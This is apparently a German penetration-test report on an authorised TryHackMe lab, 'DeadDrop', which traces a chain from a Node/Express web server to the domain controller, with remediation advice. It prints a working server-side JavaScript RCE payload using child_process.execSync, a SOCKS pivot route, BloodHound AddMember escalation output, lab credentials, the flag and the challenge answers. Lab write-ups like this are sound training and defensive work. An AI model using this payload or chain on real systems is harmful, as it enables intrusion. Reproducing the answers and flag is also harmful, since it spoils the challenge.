DeadDrop Ltd — Offensiver Lab-Assessmentbericht

Berichtstyp: Autorisiertes TryHackMe-Lab / Methodikvalidierung
Zielumgebung: DeadDrop Ltd Challenge Environment
Initiales Ziel: `192.168.11.200` (`DeadDrop-WEB`)
Internes Netz: `192.168.11.0/24`, geprüft über DMZ-Pivot
Analyst: Andreas Barth / Kate
Status: Objective abgeschlossen
Sprache: Analystischer Bericht auf Deutsch; Primärquellen, technische Strings, Challenge-Prompts, Flags, Credentials, Hostnames, Gruppen, Payloads und Toolausgaben bleiben unverändert.

---

1. Kurzfazit

Das DeadDrop-Lab wurde vom extern erreichbaren Webdienst bis zum Domain-Controller-Objective vollständig kompromittiert.

Angriffspfad:

1. Externe Enumeration von `DeadDrop-WEB` identifizierte SSH und eine Node/Express-Webanwendung.
2. Ein kontrollierter SQLi-Auth-Bypass ermöglichte Zugriff auf das Web-Dashboard.
3. Die Upload-/Preview-Funktion führte serverseitig hochgeladenen JavaScript-Code aus.
4. Read-only Enumeration legte SSH-Credentials für `svc-drop` offen.
5. SSH-Zugriff auf den DMZ-Host ermöglichte einen Pivot in das interne Netz.
6. Eine im Home-Verzeichnis gefundene APK enthielt interne Credentials für `j.harris`.
7. AD-Enumeration durch den Pivot zeigte `AddMember`-Rechte auf privilegierte Gruppen. Die challenge-relevante Zielgruppe ist `ITSupport-Admins`, verschachtelt in `Domain Admins`.
8. Das Objective auf dem Domain Controller wurde gelesen.

Finales Objective: `THM{d34d_dr0p_d0m41n_pwn3d}`

BELEGT: Die Lab-Kette wurde vollständig gelöst und durch sichtbare Belegauszüge im Bericht dokumentiert.
PLAUSIBEL: Der Hauptwert des Labs lag in Methodikvalidierung: Pivot-Disziplin, Test-Records, evidenzgebundene AD-ACL-Interpretation und Reporting.
OFFEN / LAB-GRENZE: Setup-Script-Credentials, hardcoded APK-Secrets, Objective-Flag und breite AD-ACLs sind Lab-Artefakte, keine Produktionsreife- oder Häufigkeitsaussage.

---

2. Scope, ROE und Evidenzgrenzen

System / Bereich	Rolle	Zugriff / Bedingung
`192.168.11.200`	`DeadDrop-WEB`, DMZ-Webserver	Direkt über Challenge-VPN erreichbar
`192.168.11.0/24`	internes Corporate-LAN	Im intendierten Pfad nur über DMZ-Foothold/Pivot
`192.168.11.100`	Domain Controller `DEADDROP-DC`	Nach internem Discovery-Schritt identifiziert
`192.168.11.250`	internes Samba-/Workstation-System	Nach internem Discovery-Schritt identifiziert

Freigegeben laut Lab-Scope waren Dienste auf Zielmaschinen, im Lab gefundene Credentials/Hashes, Pivoting aus der DMZ in das interne Netz, Active-Directory-Enumeration und ACL-basierte Angriffspfade. Nicht freigegeben waren Denial-of-Service, Social Engineering und unnötige Änderungen oder Löschungen bestehender Daten.

Methodische Leitentscheidung

Obwohl die Challenge-VPN-Route technisch Sicht auf `192.168.11.0/24` erlaubte, wurde interne Enumeration über den DMZ-Foothold geführt. Das erhält den intendierten Vantage Point des Labs und verhindert einen falschen Lerneffekt durch VPN-Shortcut.

Evidenzgrenzen

- Dieser Bericht ist ein Lab-/CTF-Bericht, kein Produktivsystem-Gutachten.
- Challenge-Text, Task-Prompts, Credentials, Hostnames, Flags, Payloads und Toolausgaben werden als Primärquellen unverändert wiedergegeben.
- Lokale Rohartefakte werden nicht als alleinige Belege verwendet. Wesentliche Belege stehen im Haupttext oder im Anhang.
- Interne Artefaktkennungen und SHA256-Werte dienen der Nachvollziehbarkeit, ersetzen aber nicht die im PDF sichtbare Belegführung.

3. Testpfad und Angriffsfläche

3.1 Externe Oberfläche — `DeadDrop-WEB`

Status: BELEGT
Belege: E-001, E-002

Der externe Quickscan gegen `192.168.11.200` zeigte zwei offene TCP-Ports:

```
22/tcp open  ssh
80/tcp open  http
```

Die Service-Validierung identifizierte:

```
22/tcp open  ssh   OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp open  http  Node.js Express framework
http-title: DeadDrop - Login
Requested resource was /login
```

Ein Full-Range-TCP-Scan bestätigte, dass für den externen Initialpfad keine weiteren offenen TCP-Ports benötigt wurden:

```
Not shown: 65533 filtered tcp ports
22/tcp open  ssh
80/tcp open  http
```

3.2 Web-Applikationspfad

Manuelle HTTP-Interaktion und kontrollierte Auth-Probes führten zu einem SQLi-Auth-Bypass auf `/login`. Nach Authentifizierung erlaubte die Upload-/Preview-Funktion serverseitige JavaScript-Ausführung. Damit wurde aus externem HTTP-Zugriff eine lokale Read-only-Enumeration als Node-App-Benutzer.

3.3 Pivot und interner Pfad

Nach Fund und Validierung von SSH-Credentials wurde der DMZ-Host als Pivot verwendet:

```
Hermes VM → THM VPN → DeadDrop-WEB SSH as svc-drop → SOCKS 127.0.0.1:1080 → proxychains → internal network
```

---

4. Technische Befunde

Befund 1 — SQL-Injection-Authentifizierungsumgehung auf `/login`

Status: BELEGT
Schwere im Lab-Kontext: Hoch
Angreiferwert: Initialer Applikationszugriff

Beobachtung

Ein einzelner kontrollierter POST-Request an `/login` mit SQL-Kommentar-Injektion authentifizierte als `admin`, obwohl kein gültiges Passwort verwendet wurde.

Belegkette

E-003 — HTTP-Response nach SQLi-Probe:

```
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: connect.sid=...
Found. Redirecting to /dashboard
```

E-004 — Nachgelagerter Dashboard-Zugriff:

```
<title>DeadDrop - Dashboard</title>
Logged in as <strong>admin</strong>
```

Bewertung

Die Login-Route war für SQL Injection anfällig. Die Schwachstelle reichte aus, um ohne gültiges Passwort eine authentifizierte Anwendungssitzung zu erzeugen. Das war der erste materielle Schritt vom externen Zugriff zur kontrollierten Applikationsinteraktion.

Empfehlung

Prepared Statements / parametrisierte Queries erzwingen, Login-Prädikate nicht per String-Konkatenation bauen, Authentifizierungsversuche mit SQL-Metazeichen loggen und nach Fix mit kontrollierten invaliden Payloads retesten.

Befund 2 — Serverseitige JavaScript-Ausführung über Upload-Preview

Status: BELEGT
Schwere im Lab-Kontext: Kritisch
Angreiferwert: Codeausführung als Webanwendungsbenutzer

Beobachtung

Nach Authentifizierung wurde eine hochgeladene `.js`-Datei durch die Preview-Funktion serverseitig ausgeführt.

Kontrollierter Proof-Payload:

```
module.exports = require('child_process').execSync('id; hostname; pwd', {encoding:'utf8'});
```

E-005 — Preview-Ausgabe:

```
uid=996(node) gid=996(node) groups=996(node)
tryhackme-2404
/opt/app
```

Bewertung

Die Preview-Funktion behandelte hochgeladenen JavaScript-Code nicht als inert gespeicherten Inhalt, sondern führte ihn im Kontext der Node-Anwendung aus. Dadurch waren lokale Anwendungspfad-, Backup- und Setup-Artefakte lesbar.

Empfehlung

Hochgeladene Dateien niemals per `require()` oder äquivalenter Laufzeitlogik ausführen. Uploads außerhalb ausführbarer Anwendungspfade speichern. Previews über sichere Parser oder isolierte Konverter erzeugen.

Befund 3 — Setup-/Backup-Material enthielt SSH-Credentials

Status: BELEGT
Schwere im Lab-Kontext: Hoch
Angreiferwert: Stabiler SSH-Foothold auf dem DMZ-Host

Beobachtung

Read-only Enumeration über die Web-RCE fand credentialhaltige Setup-/Backup-Artefakte.

E-006 — Credential-Auszug:

```
SVC_USER="svc-drop"
SVC_PASS="dropsofjupiter"
echo "${SVC_USER}:${SVC_PASS}" | chpasswd
```

Der SSH-Login wurde einmalig validiert:

E-007 — SSH-Foothold:

```
uid=1001(svc-drop) gid=1001(svc-drop) groups=1001(svc-drop)
tryhackme-2404
/home/svc-drop
/home/svc-drop/backup/deaddrop-mobile.apk 6392031
```

Bewertung

Credential-Material in lesbaren Setup-/Backup-Dateien erlaubte den Wechsel von Web-RCE zu interaktivem SSH-Zugriff. Dieser Schritt war für den sauberen Pivot in das interne Netz entscheidend.

Empfehlung

Credentials aus Setup-Scripts, Backups und Deployment-Artefakten entfernen; betroffene Credentials rotieren; Secret-Scanning in Build-/Deploy-Prozesse integrieren.

Befund 4 — Interne mobile APK enthielt Domain-Credentials

Status: BELEGT
Schwere im Lab-Kontext: Kritisch
Angreiferwert: Zugriff auf AD-fähige Credentials

Beobachtung

Im Home-Verzeichnis von `svc-drop` lag eine APK-Sicherung. Statische Analyse der APK ergab interne API-Informationen und Credentials.

E-008 — APK-Hash:

```
SHA256(deaddrop-mobile.apk)=de19d61a5856020a5bff91b1c304b577173285fce00d1d59ba38b186fedf10ab
```

E-009 — Auszug aus DEX-/APK-Strings:

```
http://internal.tryhackme.loc/api/v1
j.harris
```

Die Challenge-relevante Credential-Antwort lautete:

```
j.harris:DropsOfJupiter2026!
```

Bewertung

Die mobile Anwendung enthielt statische interne Zugangsdaten. Im Lab ermöglichten diese Credentials authentifizierte SMB-/LDAP-Enumeration gegen die interne AD-Umgebung.

Empfehlung

Keine statischen Credentials in Client-Anwendungen einbetten. Mobile Clients als untrusted behandeln; APK-Inhalte sind extrahierbar. Kurzlebige Tokens und serverseitige Autorisierung verwenden.

Befund 5 — Internes Netz über DMZ-SSH-Pivot erreichbar

Status: BELEGT
Schwere im Lab-Kontext: Hoch
Angreiferwert: Interne Discovery und AD-Zugriff

Beobachtung

Über den SSH-Foothold als `svc-drop` wurde ein SOCKS-Pivot aufgebaut. Interne Discovery zeigte mehrere Hosts und AD-typische Dienste.

E-010 — Live-Hosts:

```
192.168.11.1
192.168.11.100
192.168.11.200
192.168.11.250
```

E-011 — AD-/DC-typische Dienste auf `192.168.11.100`:

```
open:53
open:88
open:135
open:139
open:389
open:445
open:464
open:593
open:636
open:3268
open:3389
open:5985
```

E-012 — SMB-Validierung:

```
192.168.11.100  445  DEADDROP-DC  Windows 10 / Server 2019 Build 17763 x64
name:DEADDROP-DC
 domain:deaddrop.loc
```

Bewertung

Der DMZ-Host war als Pivot in das interne Netz verwendbar. Der Domain Controller wurde als `192.168.11.100` / `DEADDROP-DC` identifiziert.

Empfehlung

DMZ-Systeme strikt von internen AD-Diensten segmentieren, Egress aus der DMZ minimieren und ungewöhnliche interne Verbindungen von DMZ-Hosts überwachen.

Befund 6 — `j.harris` hatte `AddMember`-Rechte auf privilegierte AD-Gruppen

Status: BELEGT
Schwere im Lab-Kontext: Kritisch
Angreiferwert: Direkter Privilege-Escalation-Pfad zu Domain-Admin-Rechten

Beobachtung

Authenticated AD Enumeration durch den DMZ-Pivot zeigte, dass `J.HARRIS@DEADDROP.LOC` `AddMember`-ACEs auf privilegierten Gruppen hatte. Die challenge-relevante Zielgruppe ist `ITSupport-Admins`, die in `Domain Admins` verschachtelt ist.

E-013 — BloodHound-Erfassung durch Pivot:

```
INFO: Found AD domain: deaddrop.loc
INFO: Connecting to LDAP server: DEADDROP-DC.deaddrop.loc
INFO: Found 8 users
INFO: Found 55 groups
INFO: Found 2 computers
```

E-014 — Auszug aus BloodHound-Gruppendaten:

```
USER J.HARRIS@DEADDROP.LOC
SID  S-1-5-21-2304234032-2319324522-87291130-1103

GROUP ITSUPPORT-ADMINS@DEADDROP.LOC
ACE RightName: AddMember
PrincipalSID: S-1-5-21-2304234032-2319324522-87291130-1103

GROUP DOMAIN ADMINS@DEADDROP.LOC
Member: ITSUPPORT-ADMINS@DEADDROP.LOC
ACE RightName: AddMember
PrincipalSID: S-1-5-21-2304234032-2319324522-87291130-1103
```

Bewertung

`j.harris` konnte über `AddMember` privilegierte Gruppenmitgliedschaften manipulieren. Für die Challenge-Frage war `ITSupport-Admins` die richtige Zielgruppe; `Domain Admins` beschreibt den finalen Privilegientier. Eine tatsächliche AD-Gruppenänderung wurde nicht durchgeführt, weil Enumeration die Berechtigung belegte und das Objective read-only erreichbar war.

Empfehlung

`AddMember`-Rechte nicht-administrativer Principals auf privilegierten Gruppen entfernen, DACLs regelmäßig prüfen und Änderungen an privilegierten Gruppenmitgliedschaften überwachen.

Befund 7 — Domain-Controller-Objective wurde gelesen

Status: BELEGT
Schwere im Lab-Kontext: Objective abgeschlossen
Angreiferwert: Nachweis der vollständigen Lab-Zielerreichung

Beobachtung

Die Flag wurde vom Administrator-Desktop des Domain Controllers gelesen.

E-015 — Zielpfad und Transfer:

```
\\192.168.11.100\C$\Users\Administrator\Desktop\flag.txt
getting file \Users\Administrator\Desktop\flag.txt of size 29
```

E-016 — Dateiinhalt:

```
THM{d34d_dr0p_d0m41n_pwn3d}
```

Bewertung

Das Lab-Objective wurde erreicht. Der Nachweis erfolgte durch read-only Abruf der Objective-Datei.

---

5. Angreiferpfad-Modell

```
Externer HTTP-Zugriff
  ↓
SQLi-Auth-Bypass auf /login
  ↓
Authentifizierter Upload-/Preview-Zugriff
  ↓
Serverseitige JS-Ausführung als node
  ↓
Read-only Enumeration von Setup-/Backup-Artefakten
  ↓
SSH-Credential: svc-drop:dropsofjupiter
  ↓
SSH-Foothold auf DeadDrop-WEB
  ↓
APK aus svc-drop-Backup
  ↓
Domain-Credential: j.harris:DropsOfJupiter2026!
  ↓
SSH-SOCKS-Pivot durch DMZ-Host
  ↓
Interne Discovery: DEADDROP-DC auf 192.168.11.100
  ↓
Authentifizierte SMB-/LDAP-/ACL-Enumeration
  ↓
AD-ACL-Pfad: AddMember über ITSupport-Admins → Domain Admins
  ↓
Domain-Controller-Objective gelesen
```

---

6. Challenge-Antworten

Die folgenden Task-Prompts und Antworten sind Challenge-Inhalte und bleiben deshalb unverändert.

```
What password grants you SSH access to the web server?
dropsofjupiter

What credentials does the company's internal mobile application contain?
j.harris:DropsOfJupiter2026!

What Active Directory permission does your domain account hold that can be abused for privilege
escalation?
AddMember

What is the name of the group you target to escalate to Domain Admin?
ITSupport-Admins

What is the flag on the Domain Controller?
THM{d34d_dr0p_d0m41n_pwn3d}
```

7. Offene Punkte und Grenzen

Lab-Artefakte

Die folgenden Punkte sind lab-spezifisch und dürfen nicht übergeneralisiert werden:

- Setup-Script mit Service-Credentials.
- Hardcoded Credentials in einer mobilen APK.
- Flag auf dem Administrator-Desktop.
- Sehr breite und challenge-dienliche `AddMember`-Rechte.
- Vereinfachte interne Umgebung.

Nicht durchgeführt

Kein Brute Force, kein Password Spraying, kein Denial-of-Service-Test, kein Social Engineering, keine Löschung bestehender Dateien, keine AD-Gruppenmitgliedschaftsänderung, keine Persistenz.

Messgrenzen

Die interne Discovery beschreibt bewusst den DMZ-Pivot-Vantage-Point. Der Web-Discovery-Scanner war nicht der tragende Kompromittierungspfad; entscheidend waren manuelle Auth- und Upload-/Preview-Prüfungen. Business Impact ist synthetisch, weil es sich um ein Lab handelt.

8. Priorisierte Maßnahmen

1. **SQL Injection in der Authentifizierung beheben.** Prepared Statements, sichere Query-Konstruktion, Auth-Logging und Retest.
2. **Serverseitige Ausführung hochgeladener Dateien entfernen.** Uploads als Daten behandeln; Preview isoliert und nicht ausführend erzeugen.
3. **Secrets aus Deployment-Artefakten und Backups entfernen.** Betroffene Credentials rotieren und Secret-Scanning etablieren.
4. **Hardcoded Credentials aus mobilen Clients entfernen.** Mobile Clients als untrusted behandeln; kurzlebige Tokens und serverseitige Autorisierung nutzen.
5. **DMZ von internem AD segmentieren.** DMZ-Egress minimieren, SMB/LDAP/RPC aus der DMZ restriktiv behandeln und überwachen.
6. **AD-ACLs für privilegierte Gruppen bereinigen.** `AddMember` für nicht-administrative Principals entfernen; Gruppenänderungen monitoren.
7. **Detektion für Kettenverhalten ergänzen.** SQLi-Muster, verdächtige Uploads, Preview-Fehler, unerwartete SSH-Logins, DMZ-originierter SMB/LDAP-Traffic und privilegierte Gruppen-/ACL-Änderungen korrelieren.

9. Methodik-Retrospektive

Das Lab war kein Realismusbenchmark, aber ein brauchbarer Methodiktest:

- Quickscan plus Full-Range-Scan als Sequenz wurde validiert.
- Frühe Web-/Auth-Verhaltensprüfung war wertvoller als scannerzentrierte Routine.
- Test-Records pro Chain-Schritt verbesserten Nachvollziehbarkeit.
- `bloodhound-python` durch SOCKS/Proxychains benötigte `--dns-tcp`.
- Interne Enumeration muss den intendierten Pivot-Pfad respektieren, auch wenn Lab-VPN-Routing Shortcuts zulässt.
- AD-Zustand sollte nicht unnötig verändert werden, wenn ACL-Enumeration die angefragte Berechtigung bereits belegt und das Objective read-only erreichbar ist.

10. Anhang A — Belegauszüge

A.1 E-001 / E-002 — Externe Service-Oberfläche

```
# Quickscan
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

# Servicevalidierung
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp open  http    Node.js Express framework
http-title: DeadDrop - Login
Requested resource was /login

# Full-Range-TCP
Not shown: 65533 filtered tcp ports
22/tcp open  ssh
80/tcp open  http
```

A.2 E-003 / E-004 — SQLi-Auth-Bypass

```
HTTP/1.1 302 Found
X-Powered-By: Express
Location: /dashboard
Set-Cookie: connect.sid=...
Found. Redirecting to /dashboard
```

```
<title>DeadDrop - Dashboard</title>
Logged in as <strong>admin</strong>
```

A.3 E-005 — JS-Preview-RCE

```
<title>DeadDrop - Preview: kate_probe_20260524.js</title>
<div class="content">uid=996(node) gid=996(node) groups=996(node)
tryhackme-2404
/opt/app
</div>
```

A.4 E-006 / E-007 — SSH-Credential und Foothold

```
/home/ubuntu/web-server/setup.sh:15:SVC_USER="svc-drop"
/home/ubuntu/web-server/setup.sh:16:SVC_PASS="dropsofjupiter"
/home/ubuntu/web-server/setup.sh:34:echo "${SVC_USER}:${SVC_PASS}" | chpasswd
```

```
uid=1001(svc-drop) gid=1001(svc-drop) groups=1001(svc-drop)
tryhackme-2404
/home/svc-drop
/home/svc-drop/backup/deaddrop-mobile.apk 6392031
```

A.5 E-008 / E-009 — APK-Credentials

```
SHA256(deaddrop-mobile.apk)=de19d61a5856020a5bff91b1c304b577173285fce00d1d59ba38b186fedf10ab
```

```
http://internal.tryhackme.loc/api/v1
j.harris
j.harris:DropsOfJupiter2026!
```

A.6 E-010 bis E-012 — Interne Discovery über Pivot

```
192.168.11.1
192.168.11.100
192.168.11.200
192.168.11.250
```

```
===192.168.11.100===
open:53
open:88
open:135
open:139
open:389
open:445
open:464
open:593
open:636
open:3268
open:3389
open:5985
```

```
SMB 192.168.11.100 445 DEADDROP-DC Windows 10 / Server 2019 Build 17763 x64
SMB 192.168.11.100 445 DEADDROP-DC domain:deaddrop.loc
```

A.7 E-013 / E-014 — AD-ACL-Enumeration

```
INFO: Found AD domain: deaddrop.loc
INFO: Connecting to LDAP server: DEADDROP-DC.deaddrop.loc
INFO: Found 8 users
INFO: Found 55 groups
INFO: Found 2 computers
```

```
J.HARRIS@DEADDROP.LOC
RightName: AddMember
Target: ITSUPPORT-ADMINS@DEADDROP.LOC
Nested path: ITSUPPORT-ADMINS@DEADDROP.LOC → DOMAIN ADMINS@DEADDROP.LOC
```

A.8 E-015 / E-016 — DC-Objective

```
\\192.168.11.100\C$\Users\Administrator\Desktop\flag.txt
getting file \Users\Administrator\Desktop\flag.txt of size 29
```

```
THM{d34d_dr0p_d0m41n_pwn3d}
```

---

11. Anhang B — Evidence Inventory

Dieses Inventory benennt die internen Rohartefakte zur Reproduzierbarkeit. Die Befunde stützen sich nicht allein auf diese Namen; die entscheidenden Auszüge stehen im Bericht und in Anhang A.

Die Einträge sind bewusst als vertikale Inventory-Blöcke formatiert. Eine breite Tabelle mit Pfad, SHA256 und Relevanz ist im PDF wegen der langen Hashwerte schlecht umbrechbar.

E-001 — Erste externe Portübersicht

- **Rohartefakt:** `raw/quick-192.168.11.200.nmap`
- **SHA256:** `6136db9901a17e0a2df884f68424d34f0236216efc41aa3bdc9adfdb5382e12e`
- **Relevanz:** Erste externe Portübersicht.

E-002 — Service- und Bannerprüfung

- **Rohartefakt:** `raw/services-192.168.11.200.nmap`
- **SHA256:** `abe227310b8f9ff513cee0209f223d0be6e696866d50f549eb0898097ddce0f8`
- **Relevanz:** Service- und Bannerprüfung.

E-002b — Full-Range TCP-Baseline

- **Rohartefakt:** `raw/fulltcp-192.168.11.200.nmap`
- **SHA256:** `1f4a22690a8bc930ad1d193e5efa47cc1b535960e1ea9466fc1f6bf4ca4a585d`
- **Relevanz:** Full-Range TCP-Baseline.

E-003 — SQLi-Auth-Bypass

- **Rohartefakt:** `raw/http-login-sqli-success.txt`
- **SHA256:** `ea88b8df92d9c2aa86b0e6bf9faacaf378179d24e8494102dc2be0d421f8f90c`
- **Relevanz:** SQLi-Auth-Bypass.

E-004 — Dashboard nach Auth-Bypass

- **Rohartefakt:** `raw/http-dashboard.txt`
- **SHA256:** `2b9470d99e26cbcd4bead1d3c3d106eb64dd6d2547ed3dbdea802e31e5b913c9`
- **Relevanz:** Dashboard nach Auth-Bypass.

E-005 — JS-Preview-RCE

- **Rohartefakt:** `raw/http-preview-kate-probe.txt`
- **SHA256:** `f370ed34d3291598c78e4367247dd13b099c28ab617f11645459408ceea4f03d`
- **Relevanz:** JS-Preview-RCE.

E-006 — Setup-Script-Credentials

- **Rohartefakt:** `raw/cmd-grep-creds.txt`
- **SHA256:** `99cb0228b342a49f2aea9e068b4579810227994cbbc892fe9e1a417376fa37a5`
- **Relevanz:** Setup-Script-Credentials.

E-007 — SSH-Foothold und APK-Fund

- **Rohartefakt:** `raw/ssh-svc-initial-enum.txt`
- **SHA256:** `72fc984f087a2e08631fccb2e5b7d5c5dc491d19b09ace59c445db6f30507857`
- **Relevanz:** SSH-Foothold und APK-Fund.

E-008 — Mobile App Artefakt

- **Rohartefakt:** `artifacts/deaddrop-mobile.apk`
- **SHA256:** `de19d61a5856020a5bff91b1c304b577173285fce00d1d59ba38b186fedf10ab`
- **Relevanz:** Mobile App Artefakt.

E-009 — APK-Strings / interne Werte

- **Rohartefakt:** `raw/apk-extracted-grep.txt`
- **SHA256:** `e0f968dc51d1aaa07c81bae79f0a92ea3db4b362e9bf5b608d28b0b3eccc7314`
- **Relevanz:** APK-Strings / interne Werte.

E-010 — Interne Host-Discovery

- **Rohartefakt:** `raw/ssh-svc-ping-sweep.txt`
- **SHA256:** `4603070eb6e37340f0e9a66111797713f90a2a5b88e4002d3bdf34fe4c4a1e50`
- **Relevanz:** Interne Host-Discovery.

E-011 — Interne Service-Discovery

- **Rohartefakt:** `raw/ssh-svc-internal-discovery-likely.txt`
- **SHA256:** `d242d35c93f964c3034af6151fca915ebd9b69a594d9e8511ffd7ea6ab7dd02a`

- **Relevanz:** Interne Service-Discovery.

E-012 — SMB-/Domain-Validierung

- **Rohartefakt:** `raw/proxy-netexec-smb-jharris.txt`
- **SHA256:** `17928d4fbd0c3a502934ce33f28279a3df8de974c7b0c40f1483a33c8bcea3e3`
- **Relevanz:** SMB-/Domain-Validierung.

E-013 — BloodHound Collection

- **Rohartefakt:** `raw/proxy-bloodhound-acl-dnstcp.txt`
- **SHA256:** `7a5592b991edfae6bf224dda8ddb079bd9bfa1a8848a78f6cc601c6ecbc94d39`
- **Relevanz:** BloodHound Collection.

E-014 — AD-Gruppen-/ACL-Daten

- **Rohartefakt:** `artifacts/deaddrop_20260524150925_groups.json`
- **SHA256:** `eeb5667f8e13a77cc746a45ee9702016055013cfcee38507d15337c5363a2bf4`
- **Relevanz:** AD-Gruppen-/ACL-Daten.

E-015 — DC-Flag Transfer

- **Rohartefakt:** `raw/proxy-smbclient-get-flag.txt`
- **SHA256:** `7e26045d63394ebd14017ab0480bb18668ba34d3bed047af7e58f8f2c8ae7690`
- **Relevanz:** DC-Flag Transfer.

E-016 — Gelesene Objective-Datei

- **Rohartefakt:** `artifacts/dc-flag.txt`
- **SHA256:** `41f5752b47b433640ef3e7e3445895ef9ec6b909b707079e18876b19ecb6f341`
- **Relevanz:** Gelesene Objective-Datei.